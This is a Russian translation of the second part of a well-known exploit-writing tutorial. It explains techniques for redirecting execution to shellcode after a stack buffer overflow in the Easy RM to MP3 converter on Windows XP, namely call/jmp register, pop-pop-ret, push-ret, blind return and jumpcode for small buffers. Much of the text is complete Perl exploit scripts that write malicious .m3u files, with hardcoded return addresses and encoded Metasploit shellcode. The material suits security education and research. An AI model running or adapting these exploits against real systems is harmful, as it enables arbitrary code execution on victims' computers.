среда, 26 октября 2011 г.

Руководство по написанию эксплойтов. Часть 2 - Переход на шеллкод

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В предыдущей части руководства, я объяснял основы по использованию информации о найденной уязвимости в целях создания собственного эксплойта. На примере из предыдущей части, мы видели, что ESP указывал на начало нашего буфера (стоило лишь добавить 4 байта к шеллкоду), и мы использовали команду "jmp esp", чтобы заставить выполниться шеллкод.

Примечание: Эта часть руководства полностью связана с первой частью, поэтому перед дальнейшим прочтением вам необходимо с ней ознакомиться.

Способ с использованием "jmp esp", был прост и идеален. Но так легко будет далеко не всегда. Сегодня мы поговорим и о других способах выполнения/перехода к шеллкоду, и наконец о том, как вам следует поступать, если вы столкнулись с маленьким размером буфера.

Есть множество способов заставить шеллкод выполниться:

  • jump (или call) - перейти к…/вызвать регистр, который указывает на шеллкод. Суть этой методики в том, что вы используете регистр, который содержит адрес шеллкода, и помещаете его в EIP. Вам необходимо найти код "jump" или "call" к регистру в одной из dll's, которые загружаются, либо доступны при запуске/работе приложения. Ваша полезная нагрузка (payload) должна перезаписать EIP адресом содержащим команду "jump to the register". Естественно, сработает это только тогда, когда один из доступных регистров содержит адрес шеллкода. Эту технику я описал в первой части руководства, так что не будем заострять на ней внимания.

  • pop return - если ни один из регистров не указывает на шеллкод, но сам адрес на него появляется в стеке (первый адрес, второй адрес, … адрес шеллкода), то вы можете попытаться передать его в EIP при помощи команд "pop ret", или "pop pop ret", или "pop pop pop ret" (количество "pop" зависит от того, каким по счету в стеке находится адрес шеллкода).

  • push return - этот метод очень похож на метод "jump/call register". Если вам не удается найти опкоды "call register" или "jump register", вы можете просто поместить адрес в стек и затем сделать ret. Таким образом, вам неоходимо найти опкод "push register",с идущим за ним "ret". Найдя такую последовательность, и узнав её адрес, вы можете перезаписать им EIP.

  • jmp [reg + offset] - если есть регистр, который указывает на буфер, содержащий шеллкод, но не указывает на его начало, вы можете попытаться найти команду в одной из dll ОС или приложения, которая добавит необходимое количество байт(offset) к регистру и затем перейдёт к его выполнению. Я прибегаю к данному методу, как к "jmp [reg] + [offset]".

  • blind return - в предыдущей части я пояснил, что ESP это указатель текущей позиции (вершины) стека. Команда ret 'вытолкнет' (pop) последнее значение (4 байта) из стека и запишет новый адрес ESP. Если вы перезапишите EIP адресом, который выполнит команду ret, вы сможете загрузить в EIP значение, сохраненное в ESP.Если вы сталкиваетесь с ситуацией, при которой доступное пространство в буфере (после того, как перезаписан EIP) ограничено, но у вас есть много места до перезаписи EIP, то вы можете использовать jumpcode(код прыжка) в меньший буфер (который будет находиться до EIP), чтобы перейти к главной части шеллкода.

  • SEH – у каждого приложения есть обработчик особых ситуаций, который предоставляется операционной системой. Если само приложение не использует обработку особых ситуаций, вы можете попытаться перезаписать обработчик SEH вашим адресом и заставить его перейти к шеллкоду. Используя SEH можно сделать эксплойт, который сможет работать на различных платформах Windows, но для начала давайте кое-что проясним: суть в том, что, если вы пишите эксплойт, который не действует под каждой версией ОС, пэйлод(полезная нагрузка) может только уронить программу (и вызвать исключение). Если вам удастся объединить "обычный" эксплойт с SEH-ориентированныой техникой, вы сможете создать более надежный и многоплатформенный эксплойт. Следующая (третья) часть руководства, посвящена именно этой теме. Помните, что типичное стековое переполнение, при перезаписи EIP, может быть основано на SEH-ориентированном эксплойте, придавая ему больше стабильности и широкий размер буфера.

Методики, объясненные в этом документе, являются примерами. Цель данной части состоит в том, чтобы объяснить вам, что существуют различные способы выполнить шеллкод, и в иных случаях может быть применима одна из методик (а может быть и в комбинации с другой), чтобы заставить ваш код выполняться..

Возможно, существует еще больше методов, чтобы заставить пэйлод работать и работать надежно, но если вы владеете теми из перечисленных здесь, и если вы используете свой здравый смысл, вам удастся найти путь, уводящий вас от большинства проблем, при попытке сделать переход к вашему шеллкоду. Даже если методика, казалось бы, работает, но шеллкод не хочет выполняться, вы можете обратиться к помощи енкодеров(encoders) или изменить местоположения шеллкода, добавляя NOP'ы с нужной стороны. Это всё может вам сослужить.
Конечно, может быть и так, что уязвимость только приводит к аварийному отказу, и вообще не может быть эксплуатирована.

Что ж, давайте взглянем на практическую реализацию некоторых из упомянутых выше методик.

call [reg]
Если в регистре содержится адрес, который указывает на шеллкод, то вы сможете, выполнив call[reg], перейти к его выполнению. Иными словами, если ESP указывает на шеллкод (т.е., первый байт ESP является первым байтом шеллкода), то вы можете перезаписать EIP командой "call esp", и шеллкод будет выполнен. Этот метод срабатывает со всеми регистрами и весьма популярен, потому что kernel32.dll содержит множество адресов с call[reg].

Небольшой пример: предположим, что ESP указывает на шеллкод, тогда мы ищем адрес, содержащий опкод 'call esp'. Для поиска воспользуемся утилитой findjmp:



Затем, напишем эксплойт и перезапишем EIP адресом 0x7C8369F0.
На примере Easy RM to MP3 из первой части сего руководства известно, что мы можем указать ESP на начало нашего шеллкода, добавив 4 символа между местом, где перезаписываемым EIP и ESP. Теперь наш эксплойт будет выглядеть таким образом:

#!usr/bin/perl
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exp_call_esp.m3u";

my $junk= "A" x 26013; 
my $eip = pack('V', 0x7C8369F0);  #перезаписываем EIP на "call esp"
my $prependesp = "XXXX";  #добавляем 4 байта чтобы достать до ESP
my $shellcode = "\x90" x 25; #ноп-след

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";



pwned!

pop ret
Как написано выше, на примере Easy RM to MP3, мы изменили наш буфер таким образом, что ESP указал непосредственно на наш шеллкод. Что, если не будет ни одного регистра, который указывал бы на него?

В таком случае, адрес, указывающий на шеллкод, может уже находиться в стеке. Сделайте дамп ESP (d esp), и посмотрите на первые адреса стека. Если один из этих адресов указывает на ваш шеллкод (или буфер), то вы сможете убедиться, что используя "pop ret" или "pop pop ret" можно добиться следующего:
  • - взять необходимый адрес из стека
  • - перейти к этому адресу.

Методика "pop ret" применима, когда ESP+offset уже содержит адрес, который указывает на шеллкод. По дампу ESP может быть видно, указывает ли один из первых адресов в стеке на наш шеллкод, и используя "pop ret" (или "pop pop ret" или "pop pop pop ret") выталкиваем его в EIP. Каждый "pop" будет выталкивать по одному адресу из стека, и поместив конечный адрес, указывающий на наш шеллкод, в EIP, мы победим =).

Есть и другое применение для "pop ret": что, если вы управляете EIP, но не один из регистров не указывает на шеллкод, но он может быть найден, например, в смещении ESP+8. В таком случае, вы можете поместить "pop pop ret" в EIP, который перейдет к ESP+8. И если вы поместите указатель на jmp по тому адресу, то поток перейдет к шеллкоду.

Давайте проверим. Мы знаем, что нам необходимо 26013 байт прежде, чем будет перезаписан EIP, и что нам нужно еще 4 байта перед тем, как мы попадем в стек, где ESP указывает на (в моем случае) 0x000ffd38.

Мы представим ESP+8, как 7 нопов + 1 брейк, и таким образом длина нашего буфера не будет нарушена.

26013 «A» + 4 «XXXX» + первый разрыв(брейк) + 7 NOP'ов + второй разрыв(брейк) + NOP'ы имитирующие пространство для шеллкода. Давайте представим, что шеллкод начинается после второго разрыва. Наша цель состоит в том, чтобы сделать переход с первого брейка, на второй брейк (который представлен в байтах, как ESP+8 = 0x000ffd40).

#!usr/bin/perl
my $file= "test_pop_ret.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB"; #перезаписываем EIP
my $prependesp = "XXXX";  #четыре байта, чтобы достать до esp
my $shellcode = "\xcc"; #первый брейк
$shellcode = $shellcode . "\x90" x 7;  #добавляем 7 байт
$shellcode = $shellcode . "\xcc"; #второй брейк
$shellcode = $shellcode . "\x90" x 500;  #место для будущего шеллкода
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Выполнив данный perl-скрипт, запустим полученный файл в конвертере. Приложение упало из-за буферного переполнения. Мы перезаписали EIP на "BBBB". ESP по адресу 000ffd38 (который начинается с первого разрыва), следом идут 7 NOP'ов, и затем мы видим второй разрыв, который в действительности является началом нашего шеллкода (и находится в адресе 0x000ffd40).



Следующая наша цель состоит в том, чтобы получить значение ESP+8 в EIP (и обработав это значение, выполнить шеллкод). Мы будем использовать "pop, ret" технику + "jmp esp", чтобы достигнуть этой цели.
Один POP выталкивает 4 байта с вершины стека. Таким образом, указатель вершины стека указал бы на 000ff734. Выполнение следующего POP вытолкнуло бы еще 4 байта с вершины стека. ESP указывал бы на 000ff738. После выполнения команды RET, значение из ESP, помещается в EIP. Так, если бы значение в 000ff738 содержало адрес на "jmp esp", то, именно это выполнил бы EIP. Буфер после 000ff738 должен будет содержать наш shellcode.

Мы должны найти гне-нибудь последовательность "pop, pop, ret", и переписать EIP адресом первой части этой последовательности. Также, мы должны установить ESP+8 в адрес "jmp esp", сопровождаемый шеллкодом.

Прежде всего, мы должны узнать код операции "pop, pop, ret". Воспользуемся для этого ассемблерным функционалом windbg, чтобы его получить:



Видим, что опкоды для "pop pop ret" будут 0x58, 0x5d, 0xC3.
Конечно, вы можете использовать pop и для других регистров, но тогда и опкод будет другим:



Теперь мы должны найти эту последовательность в одной из доступных dll. В первой части руководства мы использовали dll приложения вместо dll операционной системы. Я рекомендую использовать dll приложения, потому что это повышает качество и надежность эксплойта, и применимость его на других версиях Windows. Но, Вы все равно должны проверять используемые адреса базовых библиотек dll. Иногда, случается так, что dll «перестраивается», и в таких случаяъ лучше использовать одну из dll операционной системы, например user32.dll или kernel32.dll.

Запустите Easy RM to MP3 и подключите к процессу windbg.

Отладчик покажет загруженные модули, как операционной системы, так и модули самой программы. (обратите внимание на строки, которые начинаются с ModLoad).

Вот dll нашей программы:



Вы должны избегать использования адресов, которые содержат нулевые байты (т.к. это усложнит работу эксплойта).

Поиск в MSRMCcodec00.dll даст нам некоторые результаты:



Отлично, теперь мы сможем перейти к ESP+8. В той области мы должны поместить адрес "jmp esp" (потому, что RET возьмет этот адрес из той области и поместит его в EIP. В той точке ESP адрес укажет на наш шеллкод, который расположен правее, после адреса "jmp esp).

В первой части руководства мы узнали, что 0x01def23a относится к "jmp esp".

Хорошо, вернемся к нашему perl-скрипту, и заменим "BBBB" одним из 3-х полученных нами адресов инструкции "pop, pop, ret", перед которым на 8 байт будут идти NOP'ы (только в экспериментальных целях) следом адрес "jmp esp" , и затем сам шеллкод.

Буфер будет выглядеть следующим образом:



Поток эксплойта будет выглядеть следующим образом:

  1. - EIP перезаписан на "pop, pop, ret" (этот пример не имеет никакого отношения к SHE-эксплойтам. Мы только хотим поместить значение из стеке в EIP). Область ESP начинается с8-байтового смещения к шеллкоду.
  2. - "pop,pop,ret", выполняется. EIP перезаписывается на 0x01def23a (адрес, который был найден в ESP+0?8). ESP теперь указывает на шеллкод.
  3. - Так как EIP перезаписан адресом "jmp esp", следующий шаг начнет выполнение шеллкода.



Мы смоделируем этот процесс при помощи разрывов (брейкпоинтов) и нескольких NOP'ов (имитация шеллкода), таким образом проследим за работой переходов.

#!usr/bin/perl
my $file= "test_pop_pop_ret.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX";  
my $shellcode = "\x90" x 8;
$shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #реальный шеллкод

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";



Это работает. Теперь давайте заменим NOP'ы после jmp esp (ESP+8) реальным шеллкодом (несколько NOP'ов + шеллкод, закодированный в alpha_upper) (выполнит calc):

#!usr/bin/perl
my $file= "real_pop_pop_ret_exp.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX"; 
my $shellcode = "\x90" x 8;
my $shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50;  #реальный шеллкод + 50 нопов
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";



pwned!

push return

"push ret" метод немного похож на call[reg]. Если один из регистров указывает на шеллкод, но по каким-либо причинам вы не можете использовать jmp[reg], чтобы перейти к нему, то можно:
  • - поместить адрес того регистра в стеке. Он попадет на вершину стека.
  • - ret заберет этот адрес из стека и перейдёт к нему

Чтобы это осуществить, вы должны перезаписать EIP адресом последовательности "push[reg]+ret", который можно найти в одной из dll.

Предположим, что шеллкод расположен в ESP. Тогда вам необходимо найти опкоды для 'push esp' и 'ret'.



Видим опкоды 0?54 и 0xc3.
Найдём адреса, содержащие данную последовательность в dll программы:



Берем первый адрес и вписываем его в эксплойт. Запускаем и проверяем в действии:

#!usr/bin/perl
my $file= "push_ret_exploit.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01ba57f6);

my $prependesp = "XXXX";

my $shellcode = "\x90" x 25;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";



jmp [reg]+[offset]

Другая техника, которая может решить проблему, при которой шеллкод начинается со смещения регистра, попытаться найти инструкцию "jmp [reg + ret]", и перезаписать EIP её адресом. Давайте предположим, что мы снова должны перепрыгнуть 8 байт (см. предыдущие примеры). Используя методику "jmp reg+offset", мы просто перепрыгнули бы через 8 байтов в начало ESP(в область нашего шеллкода).

Мы должны пройти 3 этапа:
  1. - найти опкод для "jmp esp+8h"
  2. - найти адрес, который указывает на эту инструкцию
  3. - обработать эксплойт, таким образом, чтобы он переписал EIP этим адресом

Ищем опкоды используя windbg:



Опкод: ff642408.

Теперь вы можете найти dll, в которой присутствует этот опкод, и использовать его адрес, чтобы переписать им EIP. В нашем примере я не смог найти этот опкод. Но вы не ограничены поиском одной лишь инструкции "jmp [esp+8]". Можно попытаться найти значения со смещением, больше чем 8, после чего, просто поместить дополнительные NOP'ы в начале шеллкода и прыгнуть на них.

blind return

Эта техника основана на следующих этапах:
  • - перезаписать EIP адресом, указывающим на "ret" инструкцию
  • - закодированный адрес шеллкода разместить в первых 4 байтах ESP
  • - когда выполнится RET, последние добавленные 4 байта (вершина стека) выталкиваются в EIP
  • - происходит переход на шеллкод

Эта техника полезна, если: вы не можете указать EIP, чтобы он перешел к регистру, т.к. нет возможности использовать "jmp" или "call" инструкции. Это значит, что необходимо поместить закодированный адрес памяти шеллкода в первые 4 байта ESP, т.к. мы имеем к ним доступ и можем их перезаписать.

Чтобы это осуществить, у вас должен быть адрес памяти шеллкода (= адрес ESP). Как обычно, пытайтесь избегать наличия нулевых байтов в адресе. Если шеллкод может быть помещен в какую-либо область памяти, и адрес этой области не содержит пустых байтов, то эта техника может сработать.

Найдите адрес "ret" в одной из dll.

Установите первые 4 байта ESP в значение адреса, где начинается шеллкод, и перезапишите EIP адресом ret инструкции. Из тестов, которые мы сделали в первой части руководства, мы помним, что ESP начинается c 0x000ffd38. Этот адрес содержит пустой байт(0x00), поэтому мы создаем буфер, который похож на это:

[26094 A] [адрес ret] [0x000ffd38] [shellcode]

Проблема состоит в том, что адрес, используемый для перезаписи EIP, содержит пустой байт, таким образом, шеллкод не попадет в ESP. Это - проблема, но не тупик. Иногда вы можете найти свой буфер (смотрите на первые 26013 A - те, которые идут до перезаписи EIP, так же как и до нулевого байта) позади, в другой области памяти или регистрах, таких как EAX, EBX, ECX, и т.д. В таком случае, вы можете попытаться поместить адрес того регистра, как первые 4 байта шеллкода (в начале ESP, после перезаписи EIP), и все еще переписать EIP адресом "ret" инструкции.

Это техника, у которой есть много зависимостей и недостатков, которые требует ret-инструкция. В любом случае, эта техника не сработает с Easy RM to MP3.

Маленький буфер: прыжок с использованием jump-кода.

Мы говорили о различных способах перехода EIP к нашему шеллкоду. Во всех сценариях у нас было достаточно места для того, чтобы поместить шеллкод в одну из частей буфера. Но что, если окажется так, что у нас не достаточного места, для размещения всего шеллкода?

В наших упражнениях мы использовали 26013 байт прежде, чем перезаписывали EIP, и мы заметили, что ESP указывает на 26013+4 байта, и то, что у нас было много места впереди, после этой точки. Но что, если у нас было бы впереди, например, всего 50 байт (ESP+50)? Что, если наши тесты показали бы, что все, что было написано после тех 50 байтов, не применимо? 50 байт для того, чтобы поместить в них реальный шеллкод не достаточно. Таким образом, мы должны найти другой путь. Мы можем использовать для этих целей те самые 26013 байта, которые использовались для переполнения.

Во-первых, мы должны найти эти 26013 байта в памяти. Если мы не можем их найти, то будет невозможно сослаться на них. Фактически, если мы сможем найти эти байты и узнать, что в нашем распоряжении есть другие регистры, то поместить туда наш шеллкод будет весьма просто.

Если поэксперементируете с Easy RM to MP3 в отладчике, то вы, возможно, заметите, что часть из 26013 байт видна в дампе ESP:

#!usr/bin/perl
my $file= "test_jumping.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #представим, что это единственное доступное для шеллкода место 50 байт + 4 байта до ESP
my $nop = "\x90" x 230;  #добавим нопов для взульного отделения нашей области от остальных данных программы

open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";

После запуска test_jumping.m3u, получим:



Мы видим свои 50 X в ESP. Давайте представим, что это - единственное место, доступное для шеллкода. Однако, если мы посмотрим ниже, то увидим заднюю часть буфера, A-массив идущий от адреса 000ffe51 (=ESP+281).

Взглянув на другие регистры, мы не увидим никаких следов от X или A.
Мы можем перейти к ESP, чтобы выполнить какой-либо код, но у нас есть только 50 байт доступного места, чтобы записать шеллкод. Мы также видим другие части нашего буфера в более нижней позиции в стеке … фактически, когда мы продолжим дамп ESP, мы увидим огромный буфер из множества A:



К счастью нашлось место для размещения шеллкода в множестве A, а использовать X мы будем для того, чтобы перейти к этой области. Для этого нам необходимо:
  • - позиция в буфере с 26013 A, которая является теперь частью ESP, в 000ffe51 (если мы хотим поместить наш шеллкод в область А-массива, мы должны знать, куда точно он должен быть помещен)
  • - "Jumpcode": код, который осуществит переход от иксов(X) к A-массиву. Этот код не может быть больше чем 50 байт, потому что это все, что у нас есть.

Мы будем использовать один из шаблонов metasploit для поиска необходимой позиции, являющейся частью ESP. Сгенерируйте шаблон, скажем, в 1000 символов, и замените первые 1000 символов в сценарии языка Perl шаблоном (и затем добавьте 25013 A's)

#!usr/bin/perl
my $file= "test2_jumping.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab".
"7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1A".
"g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai".
"4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6".
"Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8A".
"m9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap".
"1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3".
"Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5A".
"t6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av".
"8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0".
"Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2B".
"a3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc".
"5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7".
"Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25013;
my $eip = "BBBB";
my $preshellcode = "X" x 54; 
my $nop = "\x90" x 230;

open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";



То, что мы видим в 000ffe51, является частью шаблона. Первые 4 символа "5Ai6".

Используя metasploit pattern_offset утилиту, мы увидим, что эти 4 символа находятся в 257 позиции (смещении) нашего шаблона. Так вместо того, чтобы поместить 26013 A в файл, мы поместим 257 A, следом наш шеллкод, и далее снова 26013 символов A . Или еще лучше, мы запустим только с 250 A, следом 50 NOP'ов, далее наш шеллкод, и остаток заполним А-массивом. В этом случае, если мы допустим небольшую погрешность и попадем не на шеллкод, а в ноп-след, это не будет ошибкой, т.к. поток пройдём по нопам и попадёт в шеллкод.

Давайте настроим для этого наш perl-скрипт:

#!usr/bin/perl
my $file= "test3_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 54;  
my $nop2 = "\x90" x 230;  

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";

Когда приложение упадёт, мы увидим, что наши 50 NOP'ов начинаются в 000ffe80, сопровождаемые шеллкодом (0x90 в 000ffe80), и с другой стороны сопровождаемые A-массивом. Вот, как это выглядит:



